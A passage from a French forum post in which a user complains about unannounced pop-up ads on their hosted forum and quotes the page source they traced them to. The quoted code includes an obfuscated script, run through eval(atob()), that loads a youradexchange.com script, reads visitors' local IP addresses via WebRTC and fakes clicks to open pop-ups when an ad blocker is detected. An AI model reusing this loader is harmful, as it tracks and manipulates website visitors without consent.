MHg5NTQ1eGFbXzB4ZDlkOVs1XV09ZnVuY3Rpb24oXzB4OTU0NXhiKXtpZihfMHg5N

TQ1eGJbXzB4ZDlkOVs2XV0mJihfMHg5NTQ1eGI9LyhbMC05XXsxLDN9KFwuWzAtO

V17MSwzfSl7M318W2EtZjAtOV17MSw0fSg6W2EtZjAtOV17MSw0fSl7N30pL1tfMHh

kOWQ5WzddXShfMHg5NTQ1eGJbXzB4ZDlkOVs2XV1bXzB4ZDlkOVs2XV0pWzFdKS

l7aWYoIV8weDk1NDV4NyYmIV8weDk1NDV4YltfMHhkOWQ5WzhdXSgvXigxOTJcLjE

2OFwufDE2OVwuMjU0XC58MTBcLnwxNzJcLigxWzYtOV18MlxkfDNbMDFdKSkvKSYm

IV8weDk1NDV4YltfMHhkOWQ5WzhdXSgvXlthLWYwLTldezEsNH0oOlthLWYwLTldez

EsNH0pezd9JC8pKXtfMHg5NTQ1eDc9ICEwO3NjcmlwdEVsZW1lbnQ9ZG9jdW1lbnRb

XzB4ZDlkOVsxMF1dKF8weGQ5ZDlbOV0pO3NjcmlwdENGQVN5bmM9ZG9jdW1lbnRb

XzB4ZDlkOVsxMl1dKF8weGQ5ZDlbMTFdKTtzY3JpcHRDRkFTeW5jW18weGQ5ZDlb

MTNdXT0gITE7c2NyaXB0RWxlbWVudFtfMHhkOWQ5WzE0XV0oc2NyaXB0Q0ZBU3

luYyk7YT1fMHg5NTQ1eDQrXzB4ZDlkOVsxNV0rKF8weDk1NDV4OStfMHg5NTQ1eD

QpK18weGQ5ZDlbMTVdK18weDk1NDV4NTtzY3JpcHRFbGVtZW50W18weGQ5ZDlbM

TZdXT1fMHhkOWQ5WzE3XStfMHg5NTQ1eGIrXzB4ZDlkOVsxNV0rXzB4OTU0NXg

4W18weGQ5ZDlbMThdXShhKTtzY3JpcHRFbGVtZW50W18weGQ5ZDlbMTldXT1mdW

5jdGlvbigpe2lmKHZvaWQoMCk9PXdpbmRvd1tfMHhkOWQ5WzIwXV0pe31lbHNlIHtmb

3IodmFyIF8weDk1NDV4YyBpbiB3aW5kb3dbXzB4ZDlkOVsyMF1dKXtfMHg5NTQ1eDZ

bXzB4OTU0NXgyKF8weDk1NDV4YyldPV8weDk1NDV4Mihjb25maWdbXzB4OTU0NXhj

XSl9O2RvY3VtZW50W18weGQ5ZDlbMjFdXT1mdW5jdGlvbigpe2lmKCFfMHg5NTQ1eD

Mpe18weDk1NDV4Mz0xO3ZhciBfMHg5NTQ1eGQ9ZG9jdW1lbnRbXzB4ZDlkOVsxMF1

dKF8weGQ5ZDlbMjJdKTtfMHg5NTQ1eGRbXzB4ZDlkOVsyM11dPV8weDk1NDV4NltfM

HhkOWQ5WzI0XV07XzB4OTU0NXhkW18weGQ5ZDlbMjVdXT1fMHhkOWQ5WzI2X

Ttkb2N1bWVudFtfMHhkOWQ5WzI4XV1bXzB4ZDlkOVsyN11dKF8weDk1NDV4ZCk7d

mFyIF8weDk1NDV4ZT0gbmV3IE1vdXNlRXZlbnQoXzB4ZDlkOVsyOV0seyJceDc2XHg2

OVx4NjVceDc3Ijp3aW5kb3csIlx4NjJceDc1XHg2Mlx4NjJceDZDXHg2NVx4NzMiOnR

ydWUsIlx4NjNceDYxXHg2RVx4NjNceDY1XHg2Q1x4NjFceDYyXHg2Q1x4NjUiOmZhb

HNlfSk7XzB4OTU0NXhkW18weGQ5ZDlbMzBdXShfMHg5NTQ1eGUpO18weDk1NDV4

ZFtfMHhkOWQ5WzMyXV1bXzB4ZDlkOVszMV1dKF8weDk1NDV4ZCl9fX19O3Njcmlw

dEVsZW1lbnRbXzB4ZDlkOVszM11dPSAhMTt2YXIgXzB4OTU0NXhmO18weGQ5ZDlbM

zRdIT09IHR5cGVvZiBkb2N1bWVudFtfMHhkOWQ5WzM1XV0mJihfMHg5NTQ1eGY9

ZG9jdW1lbnRbXzB4ZDlkOVszNV1dWzBdKTtfMHhkOWQ5WzM0XT09IHR5cGVvZiBf

MHg5NTQ1eGYmJihfMHg5NTQ1eGY9ZG9jdW1lbnRbXzB4ZDlkOVszNl1dKF8weGQ5Z

DlbOV0pWzBdKTtfMHg5NTQ1eGZbXzB4ZDlkOVszMl1dW18weGQ5ZDlbMzddXShzY

3JpcHRFbGVtZW50LF8weDk1NDV4Zil9fX07XzB4OTU0NXhhW18weGQ5ZDlbMzldX

ShfMHhkOWQ5WzM4XSk7XzB4OTU0NXhhW18weGQ5ZDlbNDFdXShmdW5jdGlvbih

fMHg5NTQ1eGQpe18weDk1NDV4YVtfMHhkOWQ5WzQwXV0oXzB4OTU0NXhkLGZ1b

mN0aW9uKCl7fSxmdW5jdGlvbigpe30pfSxmdW5jdGlvbigpe30pfSxfMHg5NTQ1eDI9Zn

VuY3Rpb24oXzB4OTU0NXhkKXtmb3IodmFyIF8weDk1NDV4ZT1fMHg5NTQ1eGRbXzB

4ZDlkOVs0Ml1dLF8weDk1NDV4Yz1fMHhkOWQ5WzM4XSxfMHg5NTQ1eGIsXzB4OT

U0NXhmPTA7XzB4OTU0NXhmPF8weDk1NDV4ZTtfMHg5NTQ1eGYrPTMpe18weDk1ND

V4Yj1fMHg5NTQ1eGRbXzB4ZDlkOVs0M11dKF8weDk1NDV4ZiwzKTtpZihfMHhkOWQ

5WzQ0XT09XzB4OTU0NXhiKXtyZXR1cm4gITF9O2lmKF8weGQ5ZDlbNDVdPT1fMHg

5NTQ1eGIpe3JldHVybiAhMH07XzB4OTU0NXhiPV8weDk1NDV4ZiUyP3BhcnNlSW50K

F8weDk1NDV4YiwxMCk

+PjE6cGFyc2VJbnQoXzB4OTU0NXhiLDEwKT4+MjtfMHg5NTQ1eGM9XzB4OTU0NXhj

W18weGQ5ZDlbNDddXShTdHJpbmdbXzB4ZDlkOVs0Nl1dKF8weDk1NDV4YikpfTtfMH

g5NTQ1eGQ9cGFyc2VJbnQoXzB4OTU0NXhjLDEwKTswPD1fMHg5NTQ1eGQmJk5hTiE

9XzB4OTU0NXhkJiYoXzB4OTU0NXhjPV8weDk1NDV4ZCk7cmV0dXJuIF8weDk1NDV4

Y30sXzB4OTU0NXgzPSExLF8weDk1NDV4ND1NYXRoW18weGQ5ZDlbNDldXSgxRTEy

Kk1hdGhbXzB4ZDlkOVs0OF1dKCkpLF8weDk1NDV4NT1NYXRoW18weGQ5ZDlbNDhdX

SgpLnRvU3RyaW5nKDM2KVtfMHhkOWQ5WzUwXV0oL1teYS16QS1aMC05XSsvZyxfM

HhkOWQ5WzM4XSlbXzB4ZDlkOVs0M11dKDAsMTApLF8weDk1NDV4Nj1bXSxfMHg5

NTQ1eDc9ITEsXzB4OTU0NXg4PXtfMDpfMHhkOWQ5WzUxXSxlbmNvZGU6ZnVuY3

Rpb24oXzB4OTU0NXhkKXtmb3IodmFyIF8weDk1NDV4ZT1fMHhkOWQ5WzM4XSxf

MHg5NTQ1eGMsXzB4OTU0NXhiLF8weDk1NDV4ZixfMHg5NTQ1eDksXzB4OTU0NXh

hLF8weDk1NDV4MTAsXzB4OTU0NXgxMT0wO18weDk1NDV4MTE8XzB4OTU0NXhkW

18weGQ5ZDlbNDJdXTspe18weDk1NDV4Yz1fMHg5NTQ1eGRbXzB4ZDlkOVs1Ml1dKF8

weDk1NDV4MTErKyksXzB4OTU0NXhiPV8weDk1NDV4ZFtfMHhkOWQ5WzUyXV0oXz

B4OTU0NXgxMSsrKSxfMHg5NTQ1eGY9XzB4OTU0NXhkW18weGQ5ZDlbNTJdXShf

MHg5NTQ1eDExKyspLF8weDk1NDV4OT1fMHg5NTQ1eGM

+PjIsXzB4OTU0NXhjPShfMHg5NTQ1eGMmMyk8PDR8XzB4OTU0NXhiPj40LF8weDk1

NDV4YT0oXzB4OTU0NXhiJjE1KTw8MnxfMHg5NTQ1eGY

+PjYsXzB4OTU0NXgxMD1fMHg5NTQ1eGYmNjMsaXNOYU4oXzB4OTU0NXhiKT9fMH

g5NTQ1eGE9XzB4OTU0NXgxMD02NDppc05hTihfMHg5NTQ1eGYpJiYoXzB4OTU0N

XgxMD02NCksXzB4OTU0NXhlPV8weDk1NDV4ZSt0aGlzW18weGQ5ZDlbNTRdXVtfM

HhkOWQ5WzUzXV0oXzB4OTU0NXg5KSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOW

Q5WzUzXV0oXzB4OTU0NXhjKSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUz

XV0oXzB4OTU0NXhhKSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUzXV0oXzB

4OTU0NXgxMCl9O3JldHVybiBfMHg5NTQ1eGV9fTtfMHg5NTQ1eDEoMTE2MTI0OCk

7fX0pKCk7') )
        .append( '<scr' + 'ipt type="text/javascript">(function(){if (window.atob) { eval

(window.atob(document.getElementById("HZKGmAFr").innerHTML)) } })();</scr' + 'ipt>'

);
    });

                if(typeof(_userdata) == "undefined")
                    var _userdata = new Object();
                _userdata["session_logged_in"] = 0;
                _userdata["username"] = "Anonymous";
                _userdata["user_id"] = -1;
                _userdata["user_level"] = 0;
                _userdata["user_lang"] = "fr";
                _userdata["activate_toolbar"] = 1;
                _userdata["fix_toolbar"] = 1;
                _userdata["notifications"] = 1;
                _userdata["avatar"] = "<img src="http://illiweb.com/fa/invision/pp-blank-

thumb.png"   alt="" />";
                _userdata["user_posts"] = 3;
                _userdata["user_nb_privmsg"] = 0;
                _userdata["point_reputation"] = 0;
           

                if(typeof(_lang) == "undefined")
                    var _lang = new Object();
                _lang["Share"] = "Partagez";
                _lang["Login"] = "Connexion";
                _lang["Register"] = "S'enregistrer";
                _lang["Welcome"] = "Bienvenue";
                _lang["Notifications"] = "Notifications";
                _lang["See_my_profile"] = "Voir mon profil";
                _lang["Edit_profile"] = "Editer mon profil";
                _lang["All_Topics"] = "Mes Sujets";
                _lang["All_Messages"] = "Mes Messages";
                _lang["js_topics_followed"] = "Mes sujets suivis";
                _lang["Admin_panel"] = "Panneau d'administration";
                _lang["Logout"] = "Déconnexion";

                _lang["Notif_see_all"] = "Voir toutes les notifications";
                _lang["Notif_priv_msg"] = "Vous avez reçu un <a href="/privmsg?

folder=inbox&amp;nid=%(nid)s">message privé</a> de la part de <a href="/u%(id)d">

%(name)s</a>";
                _lang["Notif_report"] = "<a href="/u%(id)d">%(name)s</a> a créé un <a

href="/report?nid=%(nid)s">rapport de message</a>";
                _lang["Notif_friend_req"] = "Vous avez reçu une <a href="/profile?

mode=editprofile&amp;nid=%(nid)s&amp;page_profil=friendsfoes">demande d'ami</a> de

la part de <a href="/u%(id)d">%(name)s</a>";
                _lang["Notif_group_req"] = "<a href="/u%(id)d">%(name)s</a> a effectué

une demande d'adhésion au groupe <a href="/g%(group_id)d-%(group_url_name)s?nid=

%(nid)s">%(group_name)s</a>";
                _lang["Notif_friend_con"] = "<a href="/u%(id)d">%(name)s</a> vient de se

connecter au forum";
                _lang["Notif_wall_msg"] = "<a href="/u%(id)d">%(name)s</a> a écrit un

message sur <a href="/u%(self)dwall?nid=%(nid)s">votre mur</a>";
                _lang["Notif_abuse"] = "<a href="/admin/index.forum?

mode=active&amp;nid=%(nid)s&amp;part=misc&amp;sub=support">Un abus</a> a été

signalé";
                _lang["Notif_topic_watch"] = "<a href="/u%(id)d">%(name)s</a> a écrit un

message dans <a href="/t%(topic_id)d-%(topic_name)s?nid=%(nid)s#%(post_id)d">un

sujet que vous suivez</a>";
                _lang["Notif_topic_watch_p"] = "<a href="/u%(id)d">%(name)s</a> a écrit

un message dans <a href="/t%(topic_id)dp%(start)d-%(topic_name)s?nid=%(nid)s#

%(post_id)d">un sujet que vous suivez</a>";
                _lang["Notif_topic_watch_guest"] = "Un invité a écrit un message dans <a

href="/t%(topic_id)d-%(topic_name)s?nid=%(nid)s#%(post_id)d">un sujet que vous

suivez</a>";
                _lang["Notif_topic_watch_p_guest"] = "Un invité a écrit un message dans <a

href="/t%(topic_id)dp%(start)d-%(topic_name)s?nid=%(nid)s#%(post_id)d">un sujet

que vous suivez</a>";
                _lang["Notif_mention"] = "<a href="/u%(id)d">%(name)s</a> vous a tagué

dans <a href="/t%(topic_id)dp%(start)d-%(topic_name)s?nid=%(nid)s#%(post_id)d">un

sujet</a>";
                _lang["Notif_hashtag"] = "Le mot-clé <a href="/tags/%(tag)s">#%(tag)s</a>

a été taggué dans <a href="/t%(topic_id)dp%(start)d-%(topic_name)s?nid=%(nid)s#

%(post_id)d">un sujet</a>.";
                _lang["All_PMs"] = "Mes messages privés";
                _lang["rank_title"] = "";
                _lang["No_assigned_rank"] ="Aucun rang spécial assigné";
                _lang["Posts"] = "Messages";
                _lang["PMs"] = "MPs";
                _lang["Reputation"] ="Réputation";
                _lang["Twitter"] ="Forumactif_fr";
           

                if(typeof(_board) == "undefined")
                    var _board = new Object();   
                _board["reputation_active"] = 1;
                _board["Forumotion"] = "Forumactif";
                _board["toolbar_title_url"] = "http://www.forumactif.com";
                _board["toolbar_logo"] = "http://2img.net/i/fa/i/toolbar/pa0.png";
           
$(document).ready(Toolbar.init)
//]]>
</script>

Le lien est le même que pour la "pub" Orange : http://www.youradexchange.com/script/packcpm.php?r=1063646&runauction=1
De plus, on remarque que 2 scripts sont fusionnés puisque la balise fermante script ne se trouve que bien après.

Je suis allé à nouveau sur mon forum et j'ai trouvé une trace de ce youradexchange

Code:

<script type="text/javascript">
//<![CDATA[
 $(document).on( "BlockedAds", function( event ) {
 $( 'head' ).append( '<scr' + 'ipt type="text/javascript" src="http://www.youradexchange.com/script/packcpm.php?r=1063646&runauction=1"></scr' + 'ipt>' );
 $( 'body' )
 .append( $( '<span id="HZKGmAFr" style="display:none;" />' ).html('dmFyIF8weGQ5ZDk9WyJceDVGXHgzMFx4NzhceDM5XHgzMFx4NjFceDYxIiwiXHg3M1x4NzRceDc1XHg2RVx4M0FceDMxXHgzN1x4MzVceDM1XHgzMFx4MzBceDMxXHgzOFx4MzJceDM2XHgzQVx4MzRceDM0XHgzMyIsIlx4NTJceDU0XHg0M1x4NTBceDY1XHg2NVx4NzJceDQzXHg2Rlx4NkVceDZFXHg2NVx4NjNceDc0XHg2OVx4NkZceDZFIiwiXHg2RFx4NkZceDdBXHg1Mlx4NTRceDQzXHg1MFx4NjVceDY1XHg3Mlx4NDNceDZGXHg2RVx4NkVceDY1XHg2M1x4NzRceDY5XHg2Rlx4NkUiLCJceDc3XHg2NVx4NjJceDZCXHg2OVx4NzRceDUyXHg1NFx4NDNceDUwXHg2NVx4NjVceDcyXHg0M1x4NkZceDZFXHg2RVx4NjVceDYzXHg3NFx4NjlceDZGXHg2RSIsIlx4NkZceDZFXHg2OVx4NjNceDY1XHg2M1x4NjFceDZFXHg2NFx4NjlceDY0XHg2MVx4NzRceDY1IiwiXHg2M1x4NjFceDZFXHg2NFx4NjlceDY0XHg2MVx4NzRceDY1IiwiXHg2NVx4NzhceDY1XHg2MyIsIlx4NkRceDYxXHg3NFx4NjNceDY4IiwiXHg3M1x4NjNceDcyXHg2OVx4NzBceDc0IiwiXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NkNceDY1XHg2RFx4NjVceDZFXHg3NCIsIlx4NjRceDYxXHg3NFx4NjFceDJEXHg2M1x4NjZceDYxXHg3M1x4NzlceDZFXHg2MyIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDFceDc0XHg3NFx4NzJceDY5XHg2Mlx4NzVceDc0XHg2NSIsIlx4NzZceDYxXHg2Q1x4NzVceDY1IiwiXHg3M1x4NjVceDc0XHg0MVx4NzRceDc0XHg3Mlx4NjlceDYyXHg3NVx4NzRceDY1XHg0RVx4NkZceDY0XHg2NSIsIlx4MkYiLCJceDczXHg3Mlx4NjMiLCJceDY4XHg3NFx4NzRceDcwXHgzQVx4MkZceDJGIiwiXHg2NVx4NkVceDYzXHg2Rlx4NjRceDY1IiwiXHg2Rlx4NkVceDZDXHg2Rlx4NjFceDY0IiwiXHg2M1x4NkZceDZFXHg2Nlx4NjlceDY3IiwiXHg2Rlx4NkVceDYzXHg2Q1x4NjlceDYzXHg2QiIsIlx4NjEiLCJceDY4XHg3Mlx4NjVceDY2IiwiXHg3NVx4NzJceDZDIiwiXHg3NFx4NjFceDcyXHg2N1x4NjVceDc0IiwiXHg1Rlx4MzIiLCJceDYxXHg3MFx4NzBceDY1XHg2RVx4NjRceDQzXHg2OFx4NjlceDZDXHg2NCIsIlx4NjJceDZGXHg2NFx4NzkiLCJceDYzXHg2Q1x4NjlceDYzXHg2QiIsIlx4NjRceDY5XHg3M1x4NzBceDYxXHg3NFx4NjNceDY4XHg0NVx4NzZceDY1XHg2RVx4NzQiLCJceDcyXHg2NVx4NkRceDZGXHg3Nlx4NjVceDQzXHg2OFx4NjlceDZDXHg2NCIsIlx4NzBceDYxXHg3Mlx4NjVceDZFXHg3NFx4NEVceDZGXHg2NFx4NjUiLCJceDYxXHg3M1x4NzlceDZFXHg2MyIsIlx4NzVceDZFXHg2NFx4NjVceDY2XHg2OVx4NkVceDY1XHg2NCIsIlx4NzNceDYzXHg3Mlx4NjlceDcwXHg3NFx4NzMiLCJceDY3XHg2NVx4NzRceDQ1XHg2Q1x4NjVceDZEXHg2NVx4NkVceDc0XHg3M1x4NDJceDc5XHg1NFx4NjFceDY3XHg0RVx4NjFceDZEXHg2NSIsIlx4NjlceDZFXHg3M1x4NjVceDcyXHg3NFx4NDJceDY1XHg2Nlx4NkZceDcyXHg2NSIsIiIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDRceDYxXHg3NFx4NjFceDQzXHg2OFx4NjFceDZFXHg2RVx4NjVceDZDIiwiXHg3M1x4NjVceDc0XHg0Q1x4NkZceDYzXHg2MVx4NkNceDQ0XHg2NVx4NzNceDYzXHg3Mlx4NjlceDcwXHg3NFx4NjlceDZGXHg2RSIsIlx4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NEZceDY2XHg2Nlx4NjVceDcyIiwiXHg2Q1x4NjVceDZFXHg2N1x4NzRceDY4IiwiXHg3M1x4NzVceDYyXHg3M1x4NzRceDcyIiwiXHgzMFx4MzBceDMwIiwiXHgzMFx4MzBceDMxIiwiXHg2Nlx4NzJceDZGXHg2RFx4NDNceDY4XHg2MVx4NzJceDQzXHg2Rlx4NjRceDY1IiwiXHg2M1x4NkZceDZFXHg2M1x4NjFceDc0IiwiXHg3Mlx4NjFceDZFXHg2NFx4NkZceDZEIiwiXHg2Nlx4NkNceDZGXHg2Rlx4NzIiLCJceDcyXHg2NVx4NzBceDZDXHg2MVx4NjNceDY1IiwiXHg0MVx4NDJceDQzXHg0NFx4NDVceDQ2XHg0N1x4NDhceDQ5XHg0QVx4NEJceDRDXHg0RFx4NEVceDRGXHg1MFx4NTFceDUyXHg1M1x4NTRceDU1XHg1Nlx4NTdceDU4XHg1OVx4NUFceDYxXHg2Mlx4NjNceDY0XHg2NVx4NjZceDY3XHg2OFx4NjlceDZBXHg2Qlx4NkNceDZEXHg2RVx4NkZceDcwXHg3MVx4NzJceDczXHg3NFx4NzVceDc2XHg3N1x4NzhceDc5XHg3QVx4MzBceDMxXHgzMlx4MzNceDM0XHgzNVx4MzZceDM3XHgzOFx4MzlceDJCXHgyRlx4M0QiLCJceDYzXHg2OFx4NjFceDcyXHg0M1x4NkZceDY0XHg2NVx4NDFceDc0IiwiXHg2M1x4NjhceDYxXHg3Mlx4NDFceDc0IiwiXHg1Rlx4MzAiXTsoZnVuY3Rpb24oKXtpZih2b2lkKDApPT13aW5kb3dbXzB4ZDlkOVswXV0pe3ZhciBfMHg5NTQ1eDE9ZnVuY3Rpb24oXzB4OTU0NXg5KXt2YXIgXzB4OTU0NXhhPSBuZXcgKHdpbmRvd1tfMHhkOWQ5WzJdXXx8d2luZG93W18weGQ5ZDlbM11dfHx3aW5kb3dbXzB4ZDlkOVs0XV0pKHtpY2VTZXJ2ZXJzOlt7dXJsOl8weGQ5ZDlbMV19XX0se29wdGlvbmFsOlt7UnRwRGF0YUNoYW5uZWxzOiEwfV19KTtfMHg5NTQ1eGFbXzB4ZDlkOVs1XV09ZnVuY3Rpb24oXzB4OTU0NXhiKXtpZihfMHg5NTQ1eGJbXzB4ZDlkOVs2XV0mJihfMHg5NTQ1eGI9LyhbMC05XXsxLDN9KFwuWzAtOV17MSwzfSl7M318W2EtZjAtOV17MSw0fSg6W2EtZjAtOV17MSw0fSl7N30pL1tfMHhkOWQ5WzddXShfMHg5NTQ1eGJbXzB4ZDlkOVs2XV1bXzB4ZDlkOVs2XV0pWzFdKSl7aWYoIV8weDk1NDV4NyYmIV8weDk1NDV4YltfMHhkOWQ5WzhdXSgvXigxOTJcLjE2OFwufDE2OVwuMjU0XC58MTBcLnwxNzJcLigxWzYtOV18MlxkfDNbMDFdKSkvKSYmIV8weDk1NDV4YltfMHhkOWQ5WzhdXSgvXlthLWYwLTldezEsNH0oOlthLWYwLTldezEsNH0pezd9JC8pKXtfMHg5NTQ1eDc9ICEwO3NjcmlwdEVsZW1lbnQ9ZG9jdW1lbnRbXzB4ZDlkOVsxMF1dKF8weGQ5ZDlbOV0pO3NjcmlwdENGQVN5bmM9ZG9jdW1lbnRbXzB4ZDlkOVsxMl1dKF8weGQ5ZDlbMTFdKTtzY3JpcHRDRkFTeW5jW18weGQ5ZDlbMTNdXT0gITE7c2NyaXB0RWxlbWVudFtfMHhkOWQ5WzE0XV0oc2NyaXB0Q0ZBU3luYyk7YT1fMHg5NTQ1eDQrXzB4ZDlkOVsxNV0rKF8weDk1NDV4OStfMHg5NTQ1eDQpK18weGQ5ZDlbMTVdK18weDk1NDV4NTtzY3JpcHRFbGVtZW50W18weGQ5ZDlbMTZdXT1fMHhkOWQ5WzE3XStfMHg5NTQ1eGIrXzB4ZDlkOVsxNV0rXzB4OTU0NXg4W18weGQ5ZDlbMThdXShhKTtzY3JpcHRFbGVtZW50W18weGQ5ZDlbMTldXT1mdW5jdGlvbigpe2lmKHZvaWQoMCk9PXdpbmRvd1tfMHhkOWQ5WzIwXV0pe31lbHNlIHtmb3IodmFyIF8weDk1NDV4YyBpbiB3aW5kb3dbXzB4ZDlkOVsyMF1dKXtfMHg5NTQ1eDZbXzB4OTU0NXgyKF8weDk1NDV4YyldPV8weDk1NDV4Mihjb25maWdbXzB4OTU0NXhjXSl9O2RvY3VtZW50W18weGQ5ZDlbMjFdXT1mdW5jdGlvbigpe2lmKCFfMHg5NTQ1eDMpe18weDk1NDV4Mz0xO3ZhciBfMHg5NTQ1eGQ9ZG9jdW1lbnRbXzB4ZDlkOVsxMF1dKF8weGQ5ZDlbMjJdKTtfMHg5NTQ1eGRbXzB4ZDlkOVsyM11dPV8weDk1NDV4NltfMHhkOWQ5WzI0XV07XzB4OTU0NXhkW18weGQ5ZDlbMjVdXT1fMHhkOWQ5WzI2XTtkb2N1bWVudFtfMHhkOWQ5WzI4XV1bXzB4ZDlkOVsyN11dKF8weDk1NDV4ZCk7dmFyIF8weDk1NDV4ZT0gbmV3IE1vdXNlRXZlbnQoXzB4ZDlkOVsyOV0seyJceDc2XHg2OVx4NjVceDc3Ijp3aW5kb3csIlx4NjJceDc1XHg2Mlx4NjJceDZDXHg2NVx4NzMiOnRydWUsIlx4NjNceDYxXHg2RVx4NjNceDY1XHg2Q1x4NjFceDYyXHg2Q1x4NjUiOmZhbHNlfSk7XzB4OTU0NXhkW18weGQ5ZDlbMzBdXShfMHg5NTQ1eGUpO18weDk1NDV4ZFtfMHhkOWQ5WzMyXV1bXzB4ZDlkOVszMV1dKF8weDk1NDV4ZCl9fX19O3NjcmlwdEVsZW1lbnRbXzB4ZDlkOVszM11dPSAhMTt2YXIgXzB4OTU0NXhmO18weGQ5ZDlbMzRdIT09IHR5cGVvZiBkb2N1bWVudFtfMHhkOWQ5WzM1XV0mJihfMHg5NTQ1eGY9ZG9jdW1lbnRbXzB4ZDlkOVszNV1dWzBdKTtfMHhkOWQ5WzM0XT09IHR5cGVvZiBfMHg5NTQ1eGYmJihfMHg5NTQ1eGY9ZG9jdW1lbnRbXzB4ZDlkOVszNl1dKF8weGQ5ZDlbOV0pWzBdKTtfMHg5NTQ1eGZbXzB4ZDlkOVszMl1dW18weGQ5ZDlbMzddXShzY3JpcHRFbGVtZW50LF8weDk1NDV4Zil9fX07XzB4OTU0NXhhW18weGQ5ZDlbMzldXShfMHhkOWQ5WzM4XSk7XzB4OTU0NXhhW18weGQ5ZDlbNDFdXShmdW5jdGlvbihfMHg5NTQ1eGQpe18weDk1NDV4YVtfMHhkOWQ5WzQwXV0oXzB4OTU0NXhkLGZ1bmN0aW9uKCl7fSxmdW5jdGlvbigpe30pfSxmdW5jdGlvbigpe30pfSxfMHg5NTQ1eDI9ZnVuY3Rpb24oXzB4OTU0NXhkKXtmb3IodmFyIF8weDk1NDV4ZT1fMHg5NTQ1eGRbXzB4ZDlkOVs0Ml1dLF8weDk1NDV4Yz1fMHhkOWQ5WzM4XSxfMHg5NTQ1eGIsXzB4OTU0NXhmPTA7XzB4OTU0NXhmPF8weDk1NDV4ZTtfMHg5NTQ1eGYrPTMpe18weDk1NDV4Yj1fMHg5NTQ1eGRbXzB4ZDlkOVs0M11dKF8weDk1NDV4ZiwzKTtpZihfMHhkOWQ5WzQ0XT09XzB4OTU0NXhiKXtyZXR1cm4gITF9O2lmKF8weGQ5ZDlbNDVdPT1fMHg5NTQ1eGIpe3JldHVybiAhMH07XzB4OTU0NXhiPV8weDk1NDV4ZiUyP3BhcnNlSW50KF8weDk1NDV4YiwxMCk+PjE6cGFyc2VJbnQoXzB4OTU0NXhiLDEwKT4+MjtfMHg5NTQ1eGM9XzB4OTU0NXhjW18weGQ5ZDlbNDddXShTdHJpbmdbXzB4ZDlkOVs0Nl1dKF8weDk1NDV4YikpfTtfMHg5NTQ1eGQ9cGFyc2VJbnQoXzB4OTU0NXhjLDEwKTswPD1fMHg5NTQ1eGQmJk5hTiE9XzB4OTU0NXhkJiYoXzB4OTU0NXhjPV8weDk1NDV4ZCk7cmV0dXJuIF8weDk1NDV4Y30sXzB4OTU0NXgzPSExLF8weDk1NDV4ND1NYXRoW18weGQ5ZDlbNDldXSgxRTEyKk1hdGhbXzB4ZDlkOVs0OF1dKCkpLF8weDk1NDV4NT1NYXRoW18weGQ5ZDlbNDhdXSgpLnRvU3RyaW5nKDM2KVtfMHhkOWQ5WzUwXV0oL1teYS16QS1aMC05XSsvZyxfMHhkOWQ5WzM4XSlbXzB4ZDlkOVs0M11dKDAsMTApLF8weDk1NDV4Nj1bXSxfMHg5NTQ1eDc9ITEsXzB4OTU0NXg4PXtfMDpfMHhkOWQ5WzUxXSxlbmNvZGU6ZnVuY3Rpb24oXzB4OTU0NXhkKXtmb3IodmFyIF8weDk1NDV4ZT1fMHhkOWQ5WzM4XSxfMHg5NTQ1eGMsXzB4OTU0NXhiLF8weDk1NDV4ZixfMHg5NTQ1eDksXzB4OTU0NXhhLF8weDk1NDV4MTAsXzB4OTU0NXgxMT0wO18weDk1NDV4MTE8XzB4OTU0NXhkW18weGQ5ZDlbNDJdXTspe18weDk1NDV4Yz1fMHg5NTQ1eGRbXzB4ZDlkOVs1Ml1dKF8weDk1NDV4MTErKyksXzB4OTU0NXhiPV8weDk1NDV4ZFtfMHhkOWQ5WzUyXV0oXzB4OTU0NXgxMSsrKSxfMHg5NTQ1eGY9XzB4OTU0NXhkW18weGQ5ZDlbNTJdXShfMHg5NTQ1eDExKyspLF8weDk1NDV4OT1fMHg5NTQ1eGM+PjIsXzB4OTU0NXhjPShfMHg5NTQ1eGMmMyk8PDR8XzB4OTU0NXhiPj40LF8weDk1NDV4YT0oXzB4OTU0NXhiJjE1KTw8MnxfMHg5NTQ1eGY+PjYsXzB4OTU0NXgxMD1fMHg5NTQ1eGYmNjMsaXNOYU4oXzB4OTU0NXhiKT9fMHg5NTQ1eGE9XzB4OTU0NXgxMD02NDppc05hTihfMHg5NTQ1eGYpJiYoXzB4OTU0NXgxMD02NCksXzB4OTU0NXhlPV8weDk1NDV4ZSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUzXV0oXzB4OTU0NXg5KSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUzXV0oXzB4OTU0NXhjKSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUzXV0oXzB4OTU0NXhhKSt0aGlzW18weGQ5ZDlbNTRdXVtfMHhkOWQ5WzUzXV0oXzB4OTU0NXgxMCl9O3JldHVybiBfMHg5NTQ1eGV9fTtfMHg5NTQ1eDEoMTE2MTI0OCk7fX0pKCk7') )
 .append( '<scr' + 'ipt type="text/javascript">(function(){if (window.atob) { eval(window.atob(document.getElementById("HZKGmAFr").innerHTML)) } })();</scr' + 'ipt>' );
 });

Et cette fois, aucune pub ne s'est ouverte.

Je viens de désactiver la pub sur mon forum et là, plus aucune trace de ce youradexchange...

Pourquoi nous imposer cette publicité intempestive sans nous en parler en prenant les utilisateurs pour des ***s ??

Bonne journée !